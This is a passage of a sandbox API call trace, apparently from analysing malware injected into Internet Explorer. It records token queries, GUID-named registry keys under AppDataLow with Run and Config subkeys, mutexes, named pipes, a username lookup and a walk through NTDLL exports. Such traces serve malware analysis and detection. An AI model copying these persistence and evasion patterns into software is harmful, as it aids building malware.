ProcessHandle=0x26fd5c, DesiredAccess=0x400, ObjectAttributes=0x26fd3c*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x26fd54*(UniqueProcess=0xb54, UniqueThread=0x0) | out: ProcessHandle=0x26fd5c*=0xf4) returned 0x0 [0064.338] NtOpenProcessToken (in: ProcessHandle=0xf4, DesiredAccess=0x8, TokenHandle=0x26fd60 | out: TokenHandle=0x26fd60*=0xf8) returned 0x0 [0064.338] NtQueryInformationToken (in: TokenHandle=0xf8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x26fd64 | out: TokenInformation=0x0, ReturnLength=0x26fd64) returned 0xc0000023 [0064.338] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x24) returned 0x27889e0 [0064.338] NtQueryInformationToken (in: TokenHandle=0xf8, TokenInformationClass=0x1, TokenInformation=0x27889e0, TokenInformationLength=0x24, ReturnLength=0x26fd64 | out: TokenInformation=0x27889e0, ReturnLength=0x26fd64) returned 0x0 [0064.338] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.338] NtClose (Handle=0xf8) returned 0x0 [0064.338] NtClose (Handle=0xf4) returned 0x0 [0064.338] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76d00000 [0064.338] GetProcAddress (hModule=0x76d00000, lpProcName="StrRChrA") returned 0x76d0ccf5 [0064.339] StrRChrA (lpStart="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpEnd=0x0, wMatch=0x5c) returned="\\iexplore.exe" [0064.340] _strupr (in: _String=0x27887f9 | out: _String="IEXPLORE.EXE") returned="IEXPLORE.EXE" [0064.340] lstrlenA (lpString="IEXPLORE.EXE") returned 12 [0064.340] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.341] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76c00000 [0064.341] GetProcAddress (hModule=0x76c00000, lpProcName="wsprintfA") returned 0x76c2ae5f [0064.341] wsprintfA (in: param_1=0x27889e0, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0064.342] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0064.342] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x4e) returned 0x2788a10 [0064.343] lstrcpyA (in: lpString1=0x2788a10, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0064.343] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0064.343] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.343] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0064.343] lstrlenA (lpString="\\Vr") returned 3 [0064.343] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x4f) returned 0x2788a68 [0064.343] lstrcpyA (in: lpString1=0x2788a68, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0064.343] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0064.343] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0064.343] lstrlenA (lpString="\\Sfi") returned 4 [0064.343] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x50) returned 0x2788ac0 [0064.343] lstrcpyA (in: lpString1=0x2788ac0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0064.343] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0064.343] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0064.343] lstrlenA (lpString="\\Run") returned 4 [0064.343] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x50) returned 0x2788b18 [0064.344] lstrcpyA (in: lpString1=0x2788b18, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0064.344] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0064.344] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0064.344] lstrlenA (lpString="\\Config") returned 7 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x53) returned 0x2788b70 [0064.344] lstrcpyA (in: lpString1=0x2788b70, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0064.344] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.344] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0064.344] lstrlenA (lpString="Local\\") returned 6 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788bd0 [0064.344] lstrcpyA (in: lpString1=0x2788bd0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.344] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0064.344] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.344] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0064.344] lstrlenA (lpString="Local\\") returned 6 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788c08 [0064.344] lstrcpyA (in: lpString1=0x2788c08, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.344] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0064.344] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.344] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0064.344] lstrlenA (lpString="Local\\") returned 6 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788c40 [0064.344] lstrcpyA (in: lpString1=0x2788c40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.344] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0064.344] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.344] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0064.344] lstrlenA (lpString="Local\\") returned 6 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788c78 [0064.344] lstrcpyA (in: lpString1=0x2788c78, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.344] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0064.344] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.344] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.344] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0064.345] lstrlenA (lpString="Local\\") returned 6 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788cb0 [0064.345] lstrcpyA (in: lpString1=0x2788cb0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.345] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0064.345] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.345] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0064.345] lstrlenA (lpString="Local\\") returned 6 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788ce8 [0064.345] lstrcpyA (in: lpString1=0x2788ce8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.345] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0064.345] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.345] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0064.345] lstrlenA (lpString="Local\\") returned 6 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788d20 [0064.345] lstrcpyA (in: lpString1=0x2788d20, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.345] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0064.345] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.345] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0064.345] lstrlenA (lpString="Local\\") returned 6 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788d58 [0064.345] lstrcpyA (in: lpString1=0x2788d58, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.345] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0064.345] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.345] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0064.345] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x2788d90 [0064.345] lstrcpyA (in: lpString1=0x2788d90, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0064.345] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0064.345] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.345] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0064.345] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0064.345] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x3b) returned 0x2788dc8 [0064.345] lstrcpyA (in: lpString1=0x2788dc8, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0064.345] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0064.346] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.346] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0064.346] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x3b) returned 0x2788e10 [0064.346] lstrcpyA (in: lpString1=0x2788e10, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0064.346] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0064.346] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.346] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0064.346] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x3b) returned 0x2788e58 [0064.346] lstrcpyA (in: lpString1=0x2788e58, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0064.346] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0064.346] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.346] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0064.346] lstrlenA (lpString="Local\\") returned 6 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788ea0 [0064.346] lstrcpyA (in: lpString1=0x2788ea0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.346] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0064.346] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.346] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0064.346] lstrlenA (lpString="Local\\") returned 6 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788ed8 [0064.346] lstrcpyA (in: lpString1=0x2788ed8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.346] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0064.346] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.346] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0064.346] lstrlenA (lpString="Local\\") returned 6 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788f10 [0064.346] lstrcpyA (in: lpString1=0x2788f10, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.346] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0064.346] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.346] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.346] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0064.346] lstrlenA (lpString="Local\\") returned 6 [0064.347] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2d) returned 0x2788f48 [0064.347] lstrcpyA (in: lpString1=0x2788f48, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0064.347] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0064.347] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.347] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x27889e0 [0064.347] wsprintfA (in: param_1=0x27889e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7A3DADF8-91AE-BC96-EB4E-55B04F6259E4}") returned 38 [0064.347] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x2788f80 [0064.347] lstrcatA (in: lpString1="", lpString2="{7A3DADF8-91AE-BC96-EB4E-55B04F6259E4}" | out: lpString1="{7A3DADF8-91AE-BC96-EB4E-55B04F6259E4}") returned="{7A3DADF8-91AE-BC96-EB4E-55B04F6259E4}" [0064.347] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.347] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76c00000 [0064.347] GetProcAddress (hModule=0x76c00000, lpProcName="GetWindowThreadProcessId") returned 0x76c191b4 [0064.347] GetProcAddress (hModule=0x76c00000, lpProcName="FindWindowA") returned 0x76c1ffe6 [0064.347] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0064.347] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x26fd68 | out: lpdwProcessId=0x26fd68) returned 0x45c [0064.347] lstrlenW (lpString="") returned 0 [0064.347] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xf4 [0064.347] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x484cff) returned 0x60e810 [0064.347] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x40) returned 0x2788fb0 [0064.347] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{7A3DADF8-91AE-BC96-EB4E-55B04F6259E4}") returned 0xf8 [0064.347] GetLastError () returned 0x0 [0064.348] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889e0 [0064.348] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0064.348] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0064.348] GetModuleHandleA (lpModuleName="kernelbase") returned 0x75450000 [0064.348] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x838) returned 0x2788ff8 [0064.348] GetProcAddress (hModule=0x75220000, lpProcName="GetUserNameA") returned 0x7524a4b4 [0064.349] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x26fd5c | out: lpBuffer=0x0, pcbBuffer=0x26fd5c) returned 0 [0064.353] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x12) returned 0x2789838 [0064.353] GetProcAddress (hModule=0x75220000, lpProcName="GetUserNameA") returned 0x7524a4b4 [0064.353] GetUserNameA (in: lpBuffer=0x2789838, pcbBuffer=0x26fd5c | out: lpBuffer="aETAdzjz", pcbBuffer=0x26fd5c) returned 1 [0064.354] GetCurrentThreadId () returned 0xb58 [0064.354] GetProcAddress (hModule=0x76c00000, lpProcName="GetThreadDesktop") returned 0x76c16c63 [0064.354] GetThreadDesktop (dwThreadId=0xb58) returned 0x4c [0064.354] GetProcAddress (hModule=0x76c00000, lpProcName="GetUserObjectInformationA") returned 0x76c3d396 [0064.354] GetUserObjectInformationA (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x26fd40 | out: pvInfo=0x0, lpnLengthNeeded=0x26fd40) returned 0 [0064.355] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x10) returned 0x27889f8 [0064.355] GetProcAddress (hModule=0x76c00000, lpProcName="GetUserObjectInformationA") returned 0x76c3d396 [0064.355] GetUserObjectInformationA (in: hObj=0x4c, nIndex=2, pvInfo=0x27889f8, nLength=0x10, lpnLengthNeeded=0x26fd40 | out: pvInfo=0x27889f8, lpnLengthNeeded=0x26fd40) returned 1 [0064.355] lstrlenA (lpString="Default") returned 7 [0064.355] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0064.355] GetProcAddress (hModule=0x76c00000, lpProcName="CloseDesktop") returned 0x76c200fa [0064.355] CloseDesktop (hDesktop=0x4c) returned 0 [0064.355] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0064.355] lstrlenA (lpString="A_SHAFinal") returned 10 [0064.355] lstrlenA (lpString="A_SHAInit") returned 9 [0064.355] lstrlenA (lpString="A_SHAUpdate") returned 11 [0064.355] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0064.355] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0064.355] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0064.355] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0064.355] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0064.355] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0064.355] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0064.355] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0064.355] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0064.355] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0064.355] lstrlenA (lpString="AlpcRegisterCompletionList") 